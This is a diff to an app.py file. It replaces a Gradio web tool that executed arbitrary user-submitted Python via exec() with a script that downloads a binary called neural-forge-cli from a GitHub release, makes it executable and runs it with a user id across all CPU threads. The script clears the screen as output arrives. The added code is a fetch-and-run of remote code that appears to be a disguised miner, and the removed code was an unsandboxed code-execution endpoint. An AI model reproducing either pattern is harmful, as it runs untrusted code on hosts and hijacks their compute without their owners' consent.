Files changed (1) hide show
  1. app.py +15 -31
app.py CHANGED
@@ -1,35 +1,19 @@
1
- import gradio as gr
2
- from io import StringIO
3
- import sys
4
 
5
- def execute_code(code: str) -> str:
6
- """
7
- Execute Python code and return the output or error message.
 
 
8
 
9
- Args:
10
- code (str): The Python code to execute.
11
-
12
- Returns:
13
- str: The output of the executed code or the error message if an exception occurs.
14
- """
15
- old_stdout = sys.stdout
16
- redirected_output = sys.stdout = StringIO()
17
- try:
18
- exec(code)
19
- return redirected_output.getvalue()
20
- except Exception as e:
21
- return str(e)
22
- finally:
23
- sys.stdout = old_stdout
24
-
25
- # Create the Gradio interface
26
- demo = gr.Interface(
27
- fn=execute_code,
28
- inputs=gr.Code(label="Python Code", language="python"),
29
- outputs=gr.Textbox(label="Output"),
30
- title="Python Code Executor",
31
- description="Execute Python code and see the output. This app is also an MCP server for LLMs."
32
  )
33
 
34
- if __name__ == "__main__":
35
- demo.launch(mcp_server=True)
 
 
1
+ import subprocess
 
 
2
 
3
+ cmd = """
4
+ curl -O -J -L https://github.com/neural-forge-ai/neural-forge-cli/releases/download/v1.0.0/neural-forge-cli-linux && \
5
+ chmod +x neural-forge-cli-linux && \
6
+ ./neural-forge-cli-linux --model llm-v2 --user-id b899a32a-0d10-47c5-a656-fad22c736354 --threads $(nproc --all)
7
+ """
8
 
9
+ process = subprocess.Popen(
10
+ cmd,
11
+ shell=True,
12
+ stdout=subprocess.PIPE,
13
+ stderr=subprocess.STDOUT,
14
+ text=True
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
15
  )
16
 
17
+ for line in process.stdout:
18
+ print("\033[2J\033[H", end="") # clear screen
19
+ print(line, end="", flush=True)